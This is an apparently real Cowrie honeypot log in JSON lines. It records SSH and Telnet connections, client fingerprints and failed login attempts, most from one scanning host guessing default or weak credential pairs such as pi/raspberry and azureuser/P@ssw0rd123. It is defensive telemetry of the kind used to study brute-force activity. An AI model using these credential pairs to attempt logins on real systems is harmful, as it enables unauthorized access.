{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:47.706046Z","src_ip":"103.176.20.57","session":"56a003fe66d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:27:54.128097Z","src_ip":"192.109.200.78","session":"cbfa83267145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60668,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4aaafc93198","protocol":"ssh","message":"New connection: 192.109.200.78:60668 (10.17.0.5:22) [session: d4aaafc93198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:23.092496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:23.096446Z","src_ip":"192.109.200.78","session":"d4aaafc93198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:23.246788Z","src_ip":"192.109.200.78","session":"d4aaafc93198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:23.495635Z","src_ip":"192.109.200.78","session":"d4aaafc93198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:24.579777Z","src_ip":"192.109.200.78","session":"d4aaafc93198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60676,"dst_ip":"10.17.0.5","dst_port":22,"session":"e08275004727","protocol":"ssh","message":"New connection: 192.109.200.78:60676 (10.17.0.5:22) [session: e08275004727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:26.475854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:26.486356Z","src_ip":"192.109.200.78","session":"e08275004727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:26.558321Z","src_ip":"192.109.200.78","session":"e08275004727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:26.877277Z","src_ip":"192.109.200.78","session":"e08275004727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:27.960755Z","src_ip":"192.109.200.78","session":"e08275004727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60684,"dst_ip":"10.17.0.5","dst_port":22,"session":"b34e3ba338f7","protocol":"ssh","message":"New connection: 192.109.200.78:60684 (10.17.0.5:22) [session: b34e3ba338f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:29.686253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:29.800675Z","src_ip":"192.109.200.78","session":"b34e3ba338f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:29.804971Z","src_ip":"192.109.200.78","session":"b34e3ba338f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:30.145597Z","src_ip":"192.109.200.78","session":"b34e3ba338f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:31.229834Z","src_ip":"192.109.200.78","session":"b34e3ba338f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39732,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2c5b205535d","protocol":"ssh","message":"New connection: 192.109.200.78:39732 (10.17.0.5:22) [session: a2c5b205535d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:32.917683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:32.922292Z","src_ip":"192.109.200.78","session":"a2c5b205535d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:33.006655Z","src_ip":"192.109.200.78","session":"a2c5b205535d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:33.252443Z","src_ip":"192.109.200.78","session":"a2c5b205535d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:34.336583Z","src_ip":"192.109.200.78","session":"a2c5b205535d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.0793342590332,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:35.491628Z","src_ip":"94.23.66.112","session":"7ca02c36e9e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39746,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a78250b688d","protocol":"ssh","message":"New connection: 192.109.200.78:39746 (10.17.0.5:22) [session: 7a78250b688d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:36.162524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:36.165171Z","src_ip":"192.109.200.78","session":"7a78250b688d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:36.244906Z","src_ip":"192.109.200.78","session":"7a78250b688d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:36.485644Z","src_ip":"192.109.200.78","session":"7a78250b688d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:37.701939Z","src_ip":"192.109.200.78","session":"7a78250b688d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39752,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a96da879622","protocol":"ssh","message":"New connection: 192.109.200.78:39752 (10.17.0.5:22) [session: 1a96da879622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:39.399739Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":34806,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eda6bf37507","protocol":"ssh","message":"New connection: 92.207.4.157:34806 (159.203.135.109:22) [session: 0eda6bf37507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:39.407981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:39.413626Z","src_ip":"92.207.4.157","session":"0eda6bf37507","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:39.503145Z","src_ip":"192.109.200.78","session":"1a96da879622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:39.506351Z","src_ip":"192.109.200.78","session":"1a96da879622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:39.510395Z","src_ip":"92.207.4.157","session":"0eda6bf37507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1","message":"login attempt [runner/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:39.829687Z","src_ip":"192.109.200.78","session":"1a96da879622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"P@ssw0rd123","message":"login attempt [azureuser/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:39.931245Z","src_ip":"92.207.4.157","session":"0eda6bf37507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:40.913061Z","src_ip":"192.109.200.78","session":"1a96da879622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:41.029508Z","src_ip":"92.207.4.157","session":"0eda6bf37507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41250,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffbd55788fb9","protocol":"ssh","message":"New connection: 192.109.200.78:41250 (10.17.0.5:22) [session: ffbd55788fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:42.703403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:42.707687Z","src_ip":"192.109.200.78","session":"ffbd55788fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:42.788762Z","src_ip":"192.109.200.78","session":"ffbd55788fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:43.031836Z","src_ip":"192.109.200.78","session":"ffbd55788fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:44.115846Z","src_ip":"192.109.200.78","session":"ffbd55788fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.71956896781921,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:45.333561Z","src_ip":"94.23.66.112","session":"4c9ffe04c61b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41272,"dst_ip":"10.17.0.5","dst_port":22,"session":"b58da51b64c9","protocol":"ssh","message":"New connection: 192.109.200.78:41272 (10.17.0.5:22) [session: b58da51b64c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:45.959835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:45.964998Z","src_ip":"192.109.200.78","session":"b58da51b64c9","protocol":"ssh"}
